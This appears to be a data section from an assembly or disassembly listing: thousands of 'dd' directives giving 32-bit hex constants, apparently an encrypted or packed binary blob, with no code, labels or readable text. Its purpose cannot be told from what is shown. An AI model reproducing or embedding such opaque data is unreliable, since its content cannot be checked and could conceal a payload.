dd 0F4812213h, 23528F69h, 0FCF9A786h, 0D7F74526h, 0BD000000h
dd 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h, 7410533h
dd 0A8E2A6D4h, 109E5875h, 1A16C915h, 0AA90ADE0h, 40F3D70h
dd 1E7135E3h, 0D7D16C9h, 0A23FA1D0h, 0FEA11169h, 31F3FB50h
dd 21CFF01Ch, 13203D5Dh, 6C4EEB61h, 6593BEFCh, 0E31C399Bh
dd 0DD75CC8Bh, 51640BD8h, 35724CEFh, 710ED806h, 0B492344h
dd 4BE8B2E0h, 0C6468D91h, 781B9119h, 1835609Eh, 6788F432h
dd 0CB76F5B9h, 5383F916h, 16CB7613h, 92C3259Bh, 6F7270F8h
dd 0CB934F47h, 8000019h, 9E84A1C8h, 30163362h, 0C1A7C4F3h
dd 50365386h, 0C6CAE712h, 2D58961Ch, 0C2E92A10h, 5580BFA5h
dd 0E5185238h, 6C1AFBC8h, 1326362Ah, 0C27D5BB4h, 0F6215F84h
dd 9AC504C8h, 0DE40A26Ch, 6EA1DBC1h, 176F2351h, 4D5604A7h
dd 0B91C3229h, 5E7FA043h, 200BEEB0h, 4A7AF013h, 13200B04h
dd 0C371148Ah, 13200B83h, 40F8950Bh, 200B9AA8h, 393CDD13h
dd 26C6AE72h, 0A3C245h, 0C2880000h, 63275588h, 34CCFA25h
dd 16C915BAh, 365386C0h, 57941650h, 4A58A61Ch, 0A5B0DE40h
dd 2B8A6776h, 0C690BEF1h, 0C68B0015h, 2898F029h, 3362D785h
dd 3EB41C31h, 2090E821h, 627CCF7Dh, 50C619C6h, 6699D3ADh
dd 84C29CC9h, 18563C59h, 8B28BCEDh, 2F276F72h, 18F573h
dd 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h, 7DB0EBD1h, 113C7A60h
dd 0C8F2F0F4h, 5C425F8Ah, 0F1D7F41Bh, 846A87B2h, 2DFA174Ah
dd 37D89E4Ch, 8DE61326h, 5984C2AFh, 0E91C563Ch, 86C59FCCh
dd 0D6BC770Ch, 75D7CEB1h, 11AEDD19h, 1488C2E3h, 0C91A2066h
dd 9538AE16h, 0C91AA7E7h, 4FB12716h, 0F0235D21h, 0A777A6D3h
dd 0C8C2968Fh, 5CB4ED8Ah, 0BA9B49ECh, 41C3211h, 7B55608Eh
dd 0BC76133Ah, 13201F86h, 6290BFFCh, 8365D9Eh, 82DB9A37h
dd 201F92D4h, 44A61C13h, 2D6A44DDh, 0AA06D0FEh, 4812406Bh
dd 0ACFF76ABh, 4526D6E4h, 8762C1F0h, 49C84BB1h, 0E98BACh
dd 84510000h, 0F5340E41h, 9BD89CCAh, 12743E6Ch, 33E43C75h
dd 0C91AC185h, 0F557CD16h, 1C43A452h, 158B1C32h, 0EBCDDE6h
dd 13201448h, 8943E056h, 4EB77D97h, 0CD357650h, 0BAB35F1Fh
dd 87E95FC7h, 28DE8F59h, 0EEE21EEh, 5EB6EF8Ch, 609D4BEEh
dd 0AECD41A4h, 9BF30A38h, 8D67882Bh, 0C6702150h, 0CAEF67D9h
dd 5F36F08Dh, 58C8AF7Eh, 4EC58937h, 53C9C7BFh, 0BB5ED4B6h
dd 3B7AA7E1h, 0B618E210h, 4679B399h, 0FE892F15h, 4A06FE9Dh
dd 17B2h, 6B88AFEFh, 0FD1A4985h, 8EABDA17h, 1D3A6DA8h
dd 0B1CEF937h, 3F7D35ADh, 0D011F714h, 67A68CA9h, 0FF391F3Ch
dd 1E2AFCCh, 26341353h, 64429B13h, 275588C2h, 8B01421Ch
dd 0DA89483Ah, 0E816786Ch, 0F048811Eh, 0C403DD80h, 69A76B99h
dd 0E446103Eh, 4B6C1A47h, 931C32B9h, 7BD2001Dh, 44F266A1h
dd 16C91A02h, 86B4168Ch, 0CAFB1FBCh, 456CAD87h, 77B04D17h
dd 0FEC06E1Fh, 16C91Ah, 0D785288Ah, 1C321C36h, 3DD30278h
dd 9819DECFh, 0BBFA64BCh, 36986290h, 5178B993h, 2CD987B4h
dd 729EF3D8h, 437F59FCh, 0E422E614h, 2BA57B9h, 0B3DE1DF7h
dd 0E51EBB85h, 0CC7A1D8Dh, 9B1DBAA5h, 0C68836EDh, 0C8940D8Ah
dd 88BBF652h, 8B2E905Ah, 274477B1h, 0A3D40741h, 0ECB04CA3h
dd 0D3DE9A92h, 10000016h, 0A68CA9D0h, 381E3B6Ah, 0C9AFCCFBh
dd 583E5B8Eh, 0CED2EF1Ah, 35609E14h, 0CAF13218h, 5D88C7ADh
dd 0ED205A40h, 742203D0h, 13263532h, 0C28563BCh, 32245588h
dd 216F74DDh, 16946D29h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh
dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
dd 9265190h, 99B6E923h, 793DEBCCh, 85132635h, 88C24E2Ch
dd 7091B255h, 0C91AFCC2h, 5C8C0216h, 16C91A1Ah, 7F3FEDA4h
dd 7F16C91Ah, 520AA709h, 0D073E33Bh, 1ABD01AFh, 0D7E816C9h
dd 3FDE6638h, 3FA166BEh, 4A8E8E34h, 22FCC2Eh, 311AAF54h
dd 2A67D71Ch, 0CB09CDFBh, 0A8E23EA0h, 0D2F61375h, 1D8DE502h
dd 0DE1C4B7Ah, 0A647F4EFh, 0C48B75F5h, 99363116h, 6F59BE6Ch
dd 2FA519DBh, 0ECF66A00h, 57318370h, 0F8469E18h, 9BD1F1C7h
dd 90410B39h, 560A5FA3h, 306906A2h, 357927D8h, 0B58A6197h
dd 7AF0487Bh, 72467518h, 93B4CBACh, 6E1C49E6h, 809AB891h
dd 0B2C6DDDh, 0DE40A2CDh, 824199B0h, 3E7D56D9h, 0D62C6213h
dd 1894AFDh, 0F658B9BAh, 0D032599Ah, 0F8320C2Dh, 30CD97C5h
dd 742F1F76h, 4AED6385h, 60033670h, 7F1C4786h, 85B8F2D8h
dd 0C7D88854h, 23DFD7D2h, 157Ah, 335077B7h, 0C5E2114Dh
dd 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h, 98D9BFDCh
dd 2F6E5471h, 0C701E704h, 0C9AA7794h, 262B5B1Bh, 2C0A6313h
dd 3564A17Bh, 0E6A03D07h, 16C91AA0h, 0C92A6C56h, 3A80C216h
dd 8CBB16C9h, 0D2FCF6A9h, 5B8EC82Ch, 6401632Dh, 0C99F98AAh
dd 7DB0EA16h, 74586E4Ch, 29E5DD6Fh, 1512h, 0CBE80F4Fh
dd 5D7AA9E5h, 0EE0B3A77h, 7D9ACD08h, 112E5997h, 9FDDD50Dh
dd 30715774h, 0C706EC09h, 5F997F9Ch, 61420F2Ch, 262BF3B3h
dd 0C4A2FB13h, 4A7176Fh, 1A7135E3h, 77D16C9h, 0A3406FABh
dd 99FC876h, 681F1C32h, 202BF4BAh, 2284FA13h, 8BAC19F1h
dd 78342C69h, 14B6h, 6F8CB3F3h, 11E4D89h, 92AFDE1Bh, 213E71ACh
dd 0B5D2FD3Bh, 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h
dd 0DEEBBD8h, 262B1F5Fh, 68469F13h, 275588C2h, 0C8F62963h
dd 4F5C1938h, 40CFD381h, 369Fh, 0D4EE6500h, 0E716C91Ah
dd 6BA5D20Dh, 0E4A8D638h, 7A1779A8h, 0F12D5A94h, 0FD5F8AC8h
dd 86A305CFh, 0A045E8CCh, 0AB852816h, 0DD0C496Ah, 0E683E5AFh
dd 143C722Eh, 0C2B20000h, 1C275588h, 5F8ECCFBh, 19C5B5Fh
dd 0C9CD8DD1h, 0FE9B1116h, 5AFD6DC5h, 32C9B3ACh, 104BBB1Ch
dd 0F6A4AFDDh, 1320C1B0h, 0A66C83Eh, 1D3A9CCFh, 791C8CE4h
dd 9936619Fh, 0F6D9BE6Ch, 0B52519DBh, 42E5477Ah, 47AD2B68h
dd 1C77E6F7h, 5E16B315h, 39742453h, 87CBE9C9h, 98C704EAh
dd 7F80C17Bh
dd 0E1BB16C9h, 0F6DC79A0h, 886E8BBAh, 2BEF1D4Ch, 431DC0EFh
dd 823AD706h, 1B423392h, 0A7D50441h, 1E5A40DDh, 2DF3D2EFh
dd 3740CFB2h, 2128CC08h, 0B869618Bh, 98E61F57h, 426300ECh
dd 200h, 0C2F52F09h, 4C7BF725h, 0DC836BA2h, 0A8E17EADh
dd 1C3DE050h, 0E890342h, 0EA6E5D96h, 732DCA2Ch, 1C324F1Eh
dd 552FD248h, 0EFB9E71Ah, 9AD69A52h, 2C684E6Bh, 572B5AFDh
dd 10560482h, 9E1320BFh, 80D97728h, 636E26C3h, 0F01E4D89h
dd 0F3CF8926h, 0F132029h, 0B276A4D3h, 28184675h, 0E2F2ACC9h
dd 4C7BE293h, 77A25343h, 927815A3h, 0D10A2756h, 8C660979h
dd 6F2FDD51h, 6F1320EFh, 0CDFA97F9h, 99DD8BACh, 0DA1320EFh
dd 20EF6A2Ch, 0A6FE7413h, 3CD99330h, 8219DBD5h, 0DC1ADE0Ch
dd 8D6794B1h, 0A288254Ch, 730B3964h, 16C9E531h, 19477AB5h
dd 8CE81B55h, 0DDF6244Bh, 42F67E17h, 57CE4A24h, 2170801Eh
dd 0A6125054h, 0C988B6F8h, 5C9CDF16h, 0BA57C06Fh, 6D8AEC62h
dd 0EE1C4B87h, 91BFEE2Ah, 33704AA1h, 6F0CD604h, 2D693B3Ah
dd 5E02E1FEh, 5240CF76h, 3Eh, 5984C218h, 0BD29672Bh, 0C91A4F0Fh
dd 77D94F16h, 1D448549h, 0C3EA2BEFh, 11648795h, 0CFA6058Dh
dd 7D2B97D5h, 16C91A39h, 0D0ED4FC5h, 608BC9A3h, 0ECCB6832h
dd 40CFD724h, 0CB3Ch, 176F0200h, 0FD5604A7h, 291C3209h
dd 85C185B3h, 4FF21D5Ch, 202BDDA1h, 96BE113h, 85164566h
dd 4329F49Eh, 0B77B3B6Bh, 0D831320h, 0A7E3C970h, 103F4A78h
dd 4A60A30Dh, 7BB6127Eh, 89C5AB48h, 0DD3C2C5Ah, 0A1D00C98h
dd 3E7D5784h, 7E1BE513h, 266EF19Fh, 6CEF45h, 7BB50000h
dd 53366A1h, 10659E3Bh, 0D549F79Ah, 5916C919h, 89AAB5E3h
dd 0C830795Ah, 0F020767Ch, 16C9D8AEh, 3BD56B30h, 92C8378h
dd 72500AA7h, 7016C91Ch, 7E17CF9h, 0C4FD9ACDh, 7C56F96Fh
dd 44710E41h, 0D25DF423h, 4E732EF0h, 1FE5A89Dh, 7C191343h
dd 0C9BD2CC2h, 9B6D3216h, 0F44FB2C5h, 0F0CEEB4Dh, 0Ch
dd 0E91C5731h, 43CA1E4Ch, 0A000000h, 1D5C85C2h, 98FAC4F2h
dd 416AA66Ah, 0E0AAD803h, 3F7B617Eh, 7BA9DC16h, 0A214FB1h
dd 7A1240B4h, 6643CB8Bh, 114D27C0h, 4DEAB4E2h, 0D1005D18h
dd 6D8020B1h, 0B3922F32h, 0BF30A2EDh, 0BD603h, 196FC900h
dd 0EA2802A5h, 2AC791BFh, 6AFDA72h, 43E49070h, 0C6FC2B32h
dd 0DCD2870Fh, 54FCDB78h, 4CC96485h, 40h, 0A5196F12h, 0E0B2E102h
dd 41C751C7h, 682EE885h, 2B16C961h, 9710B6FCh, 8F2C2A6Eh
dd 0BB04E8ADh, 51A58319h, 8329C1EFh, 0B8AFB752h, 25FF5E17h
dd 0BF89B7EAh, 959D4322h, 5793E9BCh, 59000002h, 0F860A17Bh
dd 0C91A044Ah, 0B2148A16h, 0E41DBA84h, 0FA761A8Eh, 5588C2DAh
dd 804C7BB1h, 0DC6B65F5h, 0B1BB7411h, 3366A17Bh, 0BF9E3B05h
dd 43CFCB01h, 561Fh, 20B7E600h, 774C9B4Dh, 0D7A25D0Eh
dd 8904EBA9h, 196FBEECh, 0CD7B01A5h, 16C91AF4h, 82B1EDC7h
dd 0EA8D03E5h, 1A5B1BC9h, 0ED6316C9h, 0FA285391h, 7B659330h
dd 1443805Ah, 0A17B4977h, 0B3993665h, 9DA34776h, 0F2215E38h
dd 95C400C4h, 9E3B9D67h, 27CA70h, 6F0A0000h, 7B01A519h
dd 1AEAAC5Ah, 7EF416C9h, 0B993B4E1h, 541E4C7Fh, 1AC4FDB7h
dd 0D53916C9h, 0C2597B31h, 9DB25685h, 4AFEEE37h, 18391A9Eh
dd 9C6A246Ah, 0B6E5AA12h, 994E8566h, 7ED8AECh, 9B819EC9h
dd 0C7FA3461h, 496DCF99h, 65083371h, 0D1E87836h, 6FAEFEEAh
dd 913FE244h, 129C20CDh, 10BE5BD1h, 7B294C6Dh, 0A7DA1441h
dd 8AC8A245h, 480EBC5Fh, 56129C20h, 0C88A43E0h, 21375B8Eh
dd 0D0F73864h, 0A5E997A2h, 29129C20h, 0EE1957B3h, 1065DCC0h
dd 0E095188Eh, 68168AC4h, 129C2026h, 0A1D032A8h, 3B78A5DFh
dd 25D3DE0Ch, 129C2061h, 3395F76Dh, 0F9370Fh, 129C20C3h
dd 6A9CD43h, 0DA1490E5h, 78B678A7h, 89E51853h, 8DBB1D4Ch
dd 9FC8038Bh, 6590CED6h, 7FAAE8C2h, 1B553BE2h, 0AEECC4E8h
dd 9C208CB5h, 6084FA12h, 43611445h, 0E5A7D609h, 3E5478ABh
dd 0FF766F44h, 9386BA5h, 0B6DA0D47h, 5175A0DEh, 75E88DAEh
dd 0EC921D46h, 30CDF8AFh, 0AEDD104Ah, 66A17BA4h, 76B09633h
dd 0DAFA9F43h, 0A41A6Fh, 17C9E5EFh, 1D43CFCBh, 3EDB0243h
dd 421Dh, 52B5E400h, 0DF53E942h, 6F76A441h, 7B00A41Ah
dd 2461C14Ch, 0FE9B9FF9h, 0C31E23D1h, 0F26816C9h, 0C2597B4Eh
dd 0F41F5D86h, 379DEE92h, 3467A17Bh, 0C19F3C06h, 52h, 7333E102h
dd 7B16C91Ah, 6F3A6805h, 0AC40551Ah, 0D110FB7h, 5A7B07ABh
dd 18D0B52Bh, 0A3DFDB33h, 1A7C4674h, 0EFEC37Dh, 0E3BD16C9h
dd 0F1DC79A4h, 0A17BE98Dh, 400A3863h, 7B5576A3h, 4775123Dh
dd 225D86C2h, 0BBEA8DEFh, 4B2E779Fh, 6694310Fh, 96EE379Dh
dd 0D216C91Ch, 0FFFD457Eh, 0A17BBEFFh, 747F565h, 8716C91Ah
dd 0B781AF11h, 1A62601Ah, 7F5916C9h, 3E771443h, 715774E8h
dd 3FD70534h, 16C91A7Fh, 1391E45Bh, 0A48AA7D6h, 0E31C3968h
dd 0B0E31E8Eh, 0F88204Eh, 0D89B66h, 6D47165Fh, 0CCD7052Ch
dd 9F49581Eh, 8EF06654h, 804E12F1h, 1C620299h, 28000002h
dd 3762A17Bh, 0E50FE09h, 9016C91Ah, 611BB81Ah, 16C91A60h
dd 0E487F74Fh, 7EADE9C3h, 2E8627E1h, 52C81C32h, 0E3124F35h
dd 95D0AAB5h, 0A3DFC562h, 328D9B25h, 84E67A26h, 0E6569256h
dd 20A77638h, 3F7F2D13h, 0BF1320A7h, 197BF149h, 0C7CD4EBh
dd 42E6BB69h, 0AA2019D8h, 74464F79h, 0EAA69E6Fh, 0DDEh
dd 97B4DB1Bh, 294675B1h, 0BAD70643h, 496699D4h, 0DDFA2563h
dd 73B109D9h, 4452B48h, 9BDAC0DDh, 336D5370h, 3516E300h
dd 2622C787h, 906EC713h, 3863A17Bh, 0BDA3400Ah, 17225083h
dd 0A7D5FC3Dh, 427AEB8Eh, 84E64F46h, 0E656AEE7h, 0E8439543h
dd 0D1471C34h, 0E817542Eh, 79A8E5CBh, 1A4D874Bh, 0D7DD5ECh
dd 0CABBBC6Ah, 53C319DDh, 5384E619h, 6F6DEC2Fh, 63CA867Eh
dd 0A000000Dh, 361C3960h, 0C8AECBFAh, 593F5C8Bh, 0E8CEEB1Eh
dd 5E627FAAh, 0C5F02E84h, 5A81C2A8h, 0ED18573Dh, 7DB0EAD0h
dd 4B29360h, 13262342h, 7B15F34Ch, 1AEAAC5Ah, 7EF416C9h
dd 8EC1FBE1h, 32F14960h, 6DA5A714h, 6A90B20h, 32C2F358h
dd 0B0CD431Ch, 3F6AA983h, 0C4AA4711h, 0DAB4578Ah, 29D06DA0h
dd 49D998F0h, 0A3CE0D9Eh, 8FAAB75h, 83268823h, 0DD0D08D5h
dd 471C4B19h, 22EDC607h, 0FCABE3Ch, 9BFDE65Fh, 3A61CFEh
dd 9FCA08E2h, 3777A771h, 0B716CF35h, 9D77A441h, 0CCFB3760h
dd 0ACEDC76Ah, 5B41E885h, 0FDC1EF1Eh, 4B6290C3h, 32E083F3h
dd 1C34272Dh, 548ABB31h, 0B36985BEh, 0CA0FFBBh, 9DDD0000h
dd 37735976h, 0C805EB08h, 5B967C99h, 0E7250B28h, 479B9FBCh
dd 0E5022D6Bh, 7A97BEFFh, 0D2A5594h, 9DBAED27h, 7D41EFD0h
dd 81132623h, 88C24A28h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h
dd 81BA5786h, 0A1B66A29h, 0D9B63397h, 5B3D477h, 16C99A41h
dd 0D3AD74Dh, 3293A25Fh, 516EE41Ch, 0E3002F6Bh, 5D97C0FDh
dd 61C3F630h, 64076933h, 9DD19543h, 67DD1320h, 7BF523CAh
dd 6896854Ch, 2E6DCC05h, 0CB04A103h, 0B2600373h, 1C320F09h
dd 11A9D74Dh, 13202F31h, 0BBE91051h, 608EB9F7h, 0CCFF3A96h
dd 4530CD9Eh, 2451F259h, 26E2D987h, 0B2F1CB45h, 0F28F5987h
dd 90D1h, 86C29700h, 0FD1E2957h, 0C91A0F4Fh
dd 1E518B16h, 0EE1556C6h, 1066DB8Ch, 0FEF898E5h, 103F7B61h
dd 2558936Dh, 2F92D482h, 0A61C16C9h, 528D5109h, 0F12DF11Fh
dd 146CA5C2h, 0ED2701A4h, 89C88CBAh, 325FFC5Eh, 31CC7384h
dd 1445BB1Ch, 698BC804h, 8F9F5B53h, 0CC00000Bh, 6248658Ch
dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h
dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h, 13262076h
dd 0C2411F78h, 5C3A5786h, 5Bh, 5786C29Ch, 0A1E593B4h, 2D16C91Ah
dd 4B621AB7h, 1F4A89F3h, 22C527F1h, 31FF2F74h, 0B0E1571Ch
dd 698BB0AEh, 2BF1ADA5h, 6800000Bh, 0FEE40128h, 907693C2h
dd 21072453h, 0B096B3E6h, 262A4772h, 8DB8F6BCh, 22498A70h
dd 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1326218Ah, 0C2DDBB14h
dd 63275588h, 7953F629h, 0B9710E3Dh, 0F26B0A29h, 12AFDA18h
dd 0CFD36D33h, 2878340h, 84490000h, 3441E71h, 47E4AEDCh
dd 5705B60Eh, 16C91A17h, 1CBF2197h, 321C896Eh, 0BC5FD51Ch
dd 14A9ED9Bh, 0BF351320h, 3F606922h, 0C9F72A65h, 148FCFFFh
dd 990F1320h, 8C9F42FCh, 69986FB2h, 5B9B828Ch, 0A856F948h
dd 0E0B792E6h, 9CD572E8h, 5731D444h, 83B6F01Dh, 0FB298B55h
dd 0B9679431h, 0EA4CA4D8h, 536A980Eh, 3AE88BFBh, 0EFA2C65Bh
dd 743AE89Fh, 7AE0B2F6h, 25FFA204h, 86AA69EBh, 68942A79h
dd 4A896306h, 751B6E1Fh, 98ABF832h, 346E54FBh, 0D6B4D001h
dd 231B78F9h, 0A3D67h, 133A7A00h, 0A5D410F6h, 3665A288h
dd 0C5F83319h, 5984C2A8h, 10AA383Ch, 0A48AA7D2h, 391F3C63h
dd 0CCB2CFFAh, 75425F92h, 26A0E694h, 0D52E1326h, 5786C2F7h
dd 5F8185B4h, 9130CBD8h, 9BC9F835h, 717C34D1h, 0E5E05697h
dd 8B94683Ah, 45F396F8h, 16C9B601h, 417A178Dh, 0D63E7FE9h
dd 0C9B66628h, 90F26816h, 93369862h, 33537AE5h, 0A0DBB51Ch
dd 8E263F6Dh, 0FEC41F5Bh, 0B5973496h, 85C29C3Fh, 6B8CB956h
dd 8B285391h, 9A3D64A5h, 0B55285C0h, 0C0E7280Eh, 0B9237B92h
dd 59235178h, 0B5A654F7h, 0C119DD1Dh, 0D987A84Bh, 16CF3395h
dd 0D906A319h, 7A97BEFFh, 892C5394h, 174570AFh, 0D84E71FEh
dd 8EF00FACh, 3B7539F1h, 1369D708h, 0C0B86F6Eh, 96904h
dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h
dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h
dd 27440AB8h, 0F14A1326h, 0AC5A7B13h, 16C91AEAh, 0CB472FF4h
dd 0BCE7DCE6h, 79F9BD5Ah, 16C93B3Dh, 884F269Dh, 51235273h
dd 0DBE9E4B0h, 4F1B5B8Bh, 2DA316C9h, 95FF5790h, 90D12D54h
dd 0F713B69h, 72ADBE6Ch, 33A91C32h, 4A79B690h, 2C9CF42Dh
dd 0C60CDB89h, 2A4B19C6h, 0CBF63A7Ch, 0B14EC416h, 0DCB659CFh
dd 25526FA2h, 0AFDD104Bh, 0CB317296h, 0B517CB65h, 0C5F83218h
dd 72D62C94h, 4703FB6Fh, 8BEh, 7794BBFBh, 9265591h, 9AB7E623h
dd 294679B4h, 0BDDA0543h, 539129B9h, 0E4250B28h, 7BBAA0BDh
dd 134D3350h, 15F6C3E0h, 26272767h, 704EA713h, 0C91AD4EEh
dd 0CE0DE716h, 113F6AA9h, 0EDB7E547h, 0FD306A50h, 0DF4FA7E0h
dd 5CE18E3Ch, 0B72D1C32h, 0D0FB3A14h, 638ECDB3h, 82A7E6C0h
dd 1FE91746h, 0AC6820BDh, 856h, 0A7176FECh, 2EF15604h
dd 863D1C32h, 200696D8h, 0A9D81413h, 0E359B17Bh, 27485381h
dd 0B1DF124Dh, 6F7B7E7h, 87F71320h, 27F11F46h, 546E28C5h
dd 0AE132006h, 4F134174h, 0A7B5E312h, 46ADF184h, 35DBD0A5h
dd 2B4526CBh, 130h, 0ABDE18F2h, 83C2E00Eh, 48ABF909h, 0F489C8B4h
dd 0F1F1A205h, 0FF2D8F45h, 0A5D3FA3Bh, 4674A7E1h, 0E11E4382h
dd 58BA84B2h, 0EB16553Bh, 0E391B2BDh, 16C9B9A3h, 0DF18B52Bh
dd 4F70138Bh, 68ADE520h, 88259547h, 0C9B8F0CEh, 25C83E16h
dd 0A7033F6h, 9C39F89Bh, 0EC8900E4h, 314E79B8h, 0B3E10C4Bh
dd 0C924EF1Bh, 0E98C0316h, 62107CBBh, 16C9241Ch, 0ADCA2CA2h
dd 5A82074h, 22BFEE2Bh, 240F47F5h, 198F16C9h, 0BFE627EBh
dd 547BBCA2h, 0FB286226h, 8DDF90BFh, 0A896808Fh, 9276A406h
dd 94A5A1Bh, 701E3FE2h, 16C9FB2Eh, 521EFB57h, 28809BC0h
dd 886E15B2h, 0DBF22047h, 0C2701383h, 1C3128F5h, 6A95D4AEh
dd 5875EBCDh, 0DC0A3172h, 0AB871C5h, 1320E244h, 0A1E5934Ah
dd 2D1320E2h, 50F355B7h, 6C093C76h, 0A441E3Fh, 3A803AD7h
dd 0BC1320E2h, 8FC9A346h, 2307BF5Ch, 9ADBC9ACh, 8295673h
dd 20E2145Ah, 87249A13h, 963960A1h, 621080BCh, 1320E21Ch
dd 9CCA2CA2h, 667D35D2h, 4DFB9E0Eh, 19DBEDB4h, 593F5CD2h
dd 0EED4F118h, 396784AFh, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh
dd 1AADF19Fh, 0BB3116C9h, 1F08B659h, 1F1C321Eh, 96707BA9h
dd 0C4F33059h, 0A3DFC562h, 6F295774h, 4370AA1Ah, 0E0AAD807h
dd 56EE1C7Eh, 16C91A6Ch, 0D28BEA8Bh, 5FC2CCA3h, 0E07D46DFh
dd 0CF275F01h, 0FA164540h, 1FD053F5h, 0ABDA1672h, 0F516B37Dh
dd 3Ah, 886C2BBh, 7FA4F249h, 8DBB1D21h, 0C975B1F5h, 89AA1916h
dd 0C9759BDBh, 10AD2316h, 0CE0A9ADBh, 0E722FC9Fh, 0B67017B4h
dd 16C896CCh, 78B38D30h, 0B04D1745h, 0FFFF92D2h, 88C212FFh
dd 1A206614h, 38AE16C9h, 0E4F032D6h, 0A41A6Fh, 17C9D301h
dd 2943CFCBh, 40h, 631A6FEFh, 0ED1D4C89h, 16C91AA9h, 0B95DBF35h
dd 1A89CD7Bh, 9F1516C9h, 2DFFCDFCh, 5E773E4Eh, 597B93C1h
dd 3F805A7Bh, 1AA6E818h, 0E82416C9h, 4EEB61B9h, 59FD2C68h
dd 34CA379Dh, 0A000000h, 3F4A4C7Bh, 24EB7C9Bh, 0C08AB8E7h
dd 3388C15Eh, 0CD7B19BDh, 16C91A89h, 7B04A80Ch, 1742805Ah
dd 86C24C7Ah, 52F51C5Dh, 0C91AE2A4h, 1476EC16h, 0C2379D70h
dd 90285685h, 16C91ACEh, 24633DACh, 4E275CF9h, 0FBA91956h
dd 16C91ABBh, 7CD4033Fh, 0CD87A406h, 16C91DDFh, 0F3EA0559h
dd 7B45FFFFh, 0DC3863A1h, 0F1D7749Bh, 306986B5h, 17C568D8h
dd 1C3219AEh, 0B44C7AF0h, 13201B8Eh, 812F50E9h, 13201B3Dh
dd 0E81351C1h, 0C1B4E986h, 26D226EAh, 0C3A45h, 0CA000000h
dd 6, 0C5F4310Bh, 176FFA28h, 315604A7h, 7D1C322Dh, 0F4CED907h
dd 4E5987BAh, 2007DEA0h, 86AE013h, 16446BACh, 8DC9AF4Ch
dd 0B287415Eh, 0B9132007h, 7A4EA98h, 20D11320h, 40FE0FADh
dd 31CE449Ch, 0AAE70C4Bh, 0FD1CA82Ch, 8EF0DBAAh, 17349660h
dd 99C7F231h, 70ADE997h, 87FA1341h, 0E4F1C63Eh, 0D0FF3B97h
dd 9ADB2AA2h, 52237604h, 0AFEE1352h, 0F11F4E8Ah, 0C063C527h
dd 4A78ABE6h, 563CE380h, 0E109A1Ch, 49A54B71h, 1544E7h
dd 5F92CC0Eh, 96F9E6AEh, 39734BF9h, 0C90AE206h, 6FB074A2h
dd 0B5E3124Eh, 8A5B89EBh, 0EF1688EDh, 0C3FDA7CEh, 0D913ED90h
dd 475009A6h, 0B5AE5818h, 6B7FDD1h, 0F08EC13Fh, 0DD0BA883h
dd 4FCB07C9h, 0BB1941h, 6FDF0000h, 2600A31Bh, 2260BCE7h
dd 62FFC9F7h, 1D4C7B34h, 21B5F0B2h, 6F1D4AE7h, 16C9F452h
dd 0CAA447ABh, 67315F8Eh, 73A1CC0Bh, 7BDE0CA9h, 5E017359h
dd 1C8CB12Fh, 9C39939Bh, 5588C26Eh, 6FE4F0B1h, 100A41Ah
dd 0CB17C9D3h, 352943CFh, 0EF000000h, 0B5631A6Fh, 16C91AF1h
dd 812587FDh, 1A89CD7Bh, 0A51516C9h, 440E3C67h, 2A653FE2h
dd 62FFC9F7h, 7B597B34h, 9B3863A1h, 0A64A79B5h, 30CA379Dh
dd 0A000000h, 0EC434C7Bh, 16EC76A2h, 75EB4079h, 0AC5A7BD1h
dd 16C91AEAh
dd 99CD7EF4h, 0AD470DBh, 50FE2BC8h, 16C9710Eh, 7B7F2387h
dd 5786C259h, 0CA379DB3h, 0FFFFFF3Ch, 5588C20Ah, 0A3E391B2h
dd 2B16C91Ah, 0EC4E81BBh, 5D8C974Fh, 5566F6h, 0C3A94664h
dd 0D9B35689h, 2AD16E9Dh, 862999F1h, 32BE5FD8h, 7DBA941Ch
dd 0BAE81754h, 96608EF0h, 73A117F9h, 2091E7DBh, 0AEE11B13h
dd 0D0A76780h, 0C74DC176h, 0D0FE316Bh, 9E0075ECh, 0CCDF9637h
dd 45267904h, 3C1Ch, 176FE200h, 4D5604A7h, 6E1C3229h, 0F32F5894h
dd 6ACC96C4h, 417BEBCDh, 0F9BD6B0Eh, 513200Bh, 67FF2D8Fh
dd 13200B5Bh, 0E37AFB9Ch, 6D9BCE09h, 792706A3h, 774526C6h
dd 0E9h, 5588C23Dh, 0FA256327h, 9BCE08CCh, 9341626Dh, 16C91AD3h
dd 0E2C865DBh, 9E5875A8h, 16C91510h, 4204B2D3h, 4C16C91Eh
dd 195339D6h, 0F01443E6h, 810145FDh, 0B6E38A27h, 3CA7E795h
dd 0B12716C9h, 0C1F42E14h, 0B4247C93h, 33CA6311h, 0A4141C32h
dd 34D73968h, 51EE1D5Ah, 0AF1971AAh, 4F19476Eh, 0B19C4AEDh
dd 0F919C6B2h, 0C806E083h, 0C3A65A3h, 633DE042h, 95C0FE27h
dd 0D3B9D67h, 0B2E00B49h, 35E386E8h, 16CB8071h, 0C36A077Dh
dd 567FBC96h, 0EB88EA19h, 67A2C705h, 6E99D834h, 4161DB0Ch
dd 0B8B06F72h, 275FCh, 4B72B200h, 0DD0C482Eh, 6E9DDAC0h
dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh
dd 4EA0732h, 0AD7A97CAh, 5E581ECCh, 0D661326h, 62A17B2Fh
dd 0A23F0937h, 36537EBCh, 0C6E31650h, 0A7176F98h, 0C809E304h
dd 0CA973A1h, 32295152h, 9C3FB51Ch, 0B89CD7Bh, 9F151320h
dd 3CD90443h, 0BD6EC84h, 80211320h, 0C6EAB6F5h, 0C1064526h
dd 0CC000000h, 275588C2h, 57FA2563h, 1AC68836h, 52C816C9h
dd 18F2FDB5h, 0B781AFDAh, 15D6601Ah, 1A5416C9h, 2183AEEDh
dd 0B1E41E04h, 0A4146C83h, 11FA5301h, 0D8F91C32h, 201B642Ah
